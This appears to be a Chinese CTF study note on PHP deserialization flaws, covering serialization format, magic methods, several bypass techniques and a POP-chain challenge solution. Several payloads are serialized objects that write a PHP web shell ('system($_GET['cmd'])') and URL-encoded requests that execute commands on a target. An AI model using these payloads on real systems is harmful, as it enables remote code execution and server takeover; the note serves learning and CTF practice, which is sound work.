PHP反序列化

序列化和反序列化

序列化

利用serialize()函数将一个对象转换为字符串形式

序列化后的字符串的格式

每一个序列化后的小段都由; 隔开, 使用{}表示层级关系

数据类型 提示符 格式
字符串 s s:长度:”内容”
已转义字符串 S s:长度:”转义后的内容”
整数 i i:数值
布尔值 b b:1 => true / b:0 => false
空值 N N;
数组 a a:大小:{键序列段;值序列段;<重复多次>}
对象/类 O O:类型名长度:”类型名称”:成员数:{成员名称序列段;成员值序列段:}
引用 R R:反序列化变量的序号, 从1开始

关于非公有字段名称:

private:用私有的类的名称 (考虑到继承的情况) 和字段名组合 **%00类名%00成员名**(%00占一个字节长度)

protected:用 * 和字段名组合 %00*%00成员名

注:注意这两个%00就是 ascii 码为0 的字符,为不可见字符,但是url编码后就可以看见。我们可以将序列化的字符用urlencode编码之后,打印出来查看

示例

如果是直接输出对象:

1
2
3
4
5
6
7
8
<?php
class test{
public $name="ikkunma";
public $age="18";
}
$a=new test();
print_r($a);
?>

输出:

1
test Object ( [name] = > ikkunma [age] = > 18 )

如果利用serialize()函数将这个对象进行序列化成字符串然后输出:

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $name="ikkunma";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

输出:

1
O:4:"test":3:{s:4:"name";s:7:"ikkunma";s:9:"testage";s:2:"18";s:6:"*sex";s:3:"man";}
  • O 表示对象
  • 4 说明对象名长度是4个字符
  • "test" 说明这个对象名是test
  • 3 说明这个对象成员个数为3 个
  • {...} 包含对象的所有属性

反序列化

利用unserailize()函数将一个经过序列化的字符串还原成php代码形式

1
2
3
4
<?php
$b='序列化字符串';
$b=unserialize($b);
?>

作用

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等

PHP反序列化漏洞原理

CTF 里常考的反序列化漏洞,重点就是找合适的类,利用魔术方法触发漏洞

PHP常见魔术方法

详细讲解魔术方法的用法

  • __construct 构造函数,会在每次创建新对象时先调用此方法
  • __destruct 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  • __toString 当一个对象被当作一个字符串被调用。
  • __wakeup() 使用unserialize时触发
  • __sleep() 使用serialize时触发,返回一个包含对象中所有应被序列化的变量名称的数组
  • __call() 在对象中调用一个不可访问方法时自动调用
  • __callStatic() 用静态方式中调用一个不可访问方法时调用
  • __get() 用于从不可访问的属性读取数据
  • __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
  • __isset() 在不可访问的属性上调用isset()empty()触发
  • __unset() 在不可访问的属性上使用unset()时触发
  • __toString() 把类当作字符串使用时触发,返回值需要为字符串
  • __invoke() 当脚本尝试将对象调用为函数时触发,该对象必须是直接拥有__invoke()魔术方法的对象

我这边只讲5个魔术方法:

1
2
3
4
5
6
7
8
9
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep()执行serialize()时,先会调用这个函数

__wakeup()执行unserialize()时,先会调用这个函数

使用实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class test{
public $a='hacked by ikkunma';
public $b='hacked by ikkunmma';
public function pt(){
echo $this->a.'<br/>';
}
public function __construct(){
echo '__construct<br/>';
}
public function __destruct(){
echo '__construct<br/>';
}
public function __sleep(){
echo '__sleep<br/>';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br/>';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br/>';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>

输出:

1
2
3
4
5
6
7
__construct
__sleep
serialize: O:4:"test":2:{s:1:"a";s:17:"hacked by ikkunma";s:1:"b";s:18:"hacked by ikkunmma";}
__wakeup
__hacked by ikkunma
__construct
__construct

原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct

例题

源码:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "ikkunma";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

我们输入的一个变量反序列化后的值等于ikkunma

1
2
3
4
5
<?php
$a="ikkunma";
$b=serialize($a);
echo $b;
?>

序列化得到:

1
s:7:"ikkunma";

将序列化后的内容传入url得到flag

1
?str=s:7:"ikkunma";

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class foo {
public $file = "2.txt"; // 控制写入的文件名
public $data = "test"; // 控制写入的内容

function __destruct(){
// 在对象销毁时写入文件
file_put_contents(dirname(__FILE__).'/'.$this->file, $this->data);
}
}

$file_name = $_GET['filename']; // 获取用户传入的文件名
print "You have readfile ".$file_name;

// 读取用户指定的文件,并进行 unserialize
unserialize(file_get_contents($file_name));

这串代码的意思是将读取的文件内容进行反序列化,__destruct函数里面是生成文件,如果我们本地存在一个文件名是flag.txt,里面的内容是

1
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:31:"<?php system($_GET['cmd']); ?>";}

将它进行反序列化就会生成shell.php里面的内容为<?php system($_GET['cmd']); ?>

构造payload:?filename=flag.txt

各种绕过姿势

绕过__wakeup(CVE-2016-7124)

__wakeup()魔术方法在执行unserialize()时,会优先调用这个函数,而不会执行__construct() 函数

条件

PHP5<5.6.25

PHP7 < 7.0.10

绕过

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

实例

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='def';
}
public function __destruct(){
echo $this->a;
}
}

其序列化后为 O:4:"test":1:{s:1:"a";s:3:"abc";}

执行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');,得到结果为 def ,说明优先执行了 __wakeup()

此时我们要绕过 __wakeup():把对象的属性个数改大

O:4:"test":666:{s:1:"a";s:3:"abc";}

执行反序列化 unserialize('O:4:"test":666:{s:1:"a";s:3:"abc";}');

得到结果为 abc , 发现并没有执行 __wakeup(),绕过成功

绕过__destruct()

__destruct是PHP对象的一个魔术方法,称为析构函数,顾名思义这是当该对象被销毁的时候自动执行的一个函数。其中以下情况会触发__destruct

  • 主动调用unset($obj)

  • 主动调用$obj = NULL

  • 程序自动结束

PHP还拥有垃圾回收Garbage collection即我们常说的GC机制

PHP中GC使用引用计数和回收周期自动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct

当一个对象没有任何引用的时候,则会被视为“垃圾”,如:

1
2
3
4
5
6
$a = new test();  //test 对象被变量a引用,所以该对象不是“垃圾”

new test(); //test 在没有被引用时便会被当作“垃圾”进行回收(如果()里有参数则不是垃圾)

$a = new test();
$a = 1; //test 在失去引用时便会被当作“垃圾”进行回收

实例

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
class test {
function __destruct()
{
echo 'success!!';
}
}
if(isset($_REQUEST['input'])) {
$a = unserialize($_REQUEST['input']);
throw new Exception('lose');
}

这里我们要求输出 success!! ,但执行反序列化后得到的对象有了引用,给了 a 变量,后面程序接着就抛出一个异常,非正常结束,导致未正常完成 GC 机制,即没有执行 __destruct

1
?input=O:4:"test":0:{}  //会抛出一个异常

所以我们要反序列化手动去 “销毁” 创造的对象,这里利用数组来完成

原理:

我们序列化一个数组对象,考虑反序列化本字符串,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]设置为对象,同时我们又将Array[0]设置为null,这样前面的test对象便丢失了引用,就会被GC所捕获,就可以执行__destruct

构造:

1
2
3
4
5
class test {}
$a = serialize(array(new test, null));
echo $a.'<br/>';
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;

得到:

1
2
a:2:{i:0;O:4:"test":0:{}i:1;N;}
a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload

传入:

1
?input=a:2:{i:0;O:4:"test":0:{}i:0;N;} //成功得到 success!!

绕过正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头

绕过

  • 利用加号绕过(注意在url里传参时+要编码为%2B
  • 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}

function match($data){
if (preg_match('/^O:\d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

字符逃逸

对于字符逃逸, 由于 PHP 序列化后的字符类型中的引号不会被转义, 对于字符串末尾靠提供的字符数量来读取, 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并我们的恶意字符串反序列化.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Book
{
public $id = 114514;
public $name = "Ikkunmaa 的学习笔记"; // 可控
public $path = "Ikkunmaa 的学习笔记.md";
}

function filter($str)
{
return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

序列化为

1
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:25:"Ikkunmaa 的学习笔记";s:4:"path";s:27:"Ikkunmaa 的学习笔记.md";}

此代码会将其中的单引号 ' 过滤成为\'(长度增加 1)

我们可以构造带 'name,使 name 的实际长度比 s:25 预期的长

反序列化时,PHP仍按照 s:25 读取,但 name 变长后,会溢出到 path,从而控制 path 的值

构造payload:

1
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:25:"AAAAAAAAAAAAAAAAAAAAAAAAA'";s:4:"path";s:8:"flag.php";}

通过post提交:

1
2
3
4
5
POST /vuln.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

data=O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:25:"AAAAAAAAAAAAAAAAAAAAAAAAA'";s:4:"path";s:8:"flag.php";}

利用引用绕过

PHP 中的引用 (&) 是一种特殊的机制,它使得变量指向同一个内存地址

反序列化的过程中,可以利用引用来将多个变量指向同一个对象,从而修改对象的某些属性或操作对象的行为

实例

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){

if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
unserialize($_REQUEST['input']);
}else {
highlight_file(__FILE__);
}

要求输出 you success,但构造的序列化字符串中不能由 aaa

我们可以利用引用绕过

1
?input=O:4:"test":2:{s:1:"a";s:3:"aaa";s:1:"b";R:1;}

16进制绕过字符的过滤

序列字符串中表示字符类型的s大写时,会被当成16进制解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Read
{
public $name;

public function __wakeup()
{
if ($this->name == "flag")
{
echo "You did it!";
}
}
}


$str = '';
if (strpos($str, "flag") === false)
{
$obj = unserialize($str);
}
else
{
echo "You can't do it!";
}

这里检测了是否包含 flag 字符, 我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过, 构造以下:

1
'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

POP链构造

POP(Property-Oriented Programming)是一种基于对象属性的编程技术,通常用于PHP 反序列化漏洞的利用
当 PHP 代码使用 unserialize() 反序列化用户可控的数据时,攻击者可以通过精心构造的对象链(POP 链)触发特定的方法,实现任意代码执行(RCE)、文件读取、文件写入等攻击

例题

2023年 SWPU NSS 秋季招新赛 (校外赛道) - UnS3rialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}


class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}

class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}

class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}

if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}

  • 看到在 NSS 类的 __invoke 下存在 system 执行, 需要将 NSS 类作为函数调用
  • C 类的 __get 方法将 whoami 进行调用 (这里使用了中间变量中转), 我们将其赋值为 NSS 类, 我们需要找到访问非法字段的地方
  • T__toString 下访问了 sthvar (var 非法), 我们将其赋值为 C 类, 需要找到字符串调用的地方
  • F 中的 __destruct 存在对 note 字符串拼接, 将其赋值为 T, 发现需要userpasswd满足条件

我们构造如下反序列化链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class NSS
{
public $cmd = "cat /flag";
}

class C
{
public $whoami;
}

class T
{
public $sth;
}

class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
}

$f = new F("SWPU", "NSS");

$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("/var/www/hello.php","w");
fputs($fp,$this->target); //将 $target 写入一个文件(hello.php)
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>

构造序列化:

1
O:1:"A":1:{s:7:"target";s:34:"<?php system($_GET[\'cmd\']); ?>";}

payload:

1
http://target.com/vulnerable.php?test=O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22target%22%3Bs%3A34%3A%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D

当程序执行时,__destruct() 会写入 hello.php 文件

include('./hello.php') 会执行该文件

可以通过 ?cmd= 参数执行任意系统命令

1
http://target.com/vulnerable.php?test=O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22target%22%3Bs%3A34%3A%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D&cmd=whoami

参考:

一文让PHP反序列化从入门到进阶-先知社区

[CTF/Web] PHP 反序列化学习笔记-稀土掘金

PHP反序列化入门手把手详解

(推荐)php(phar)反序列化漏洞及各种绕过姿势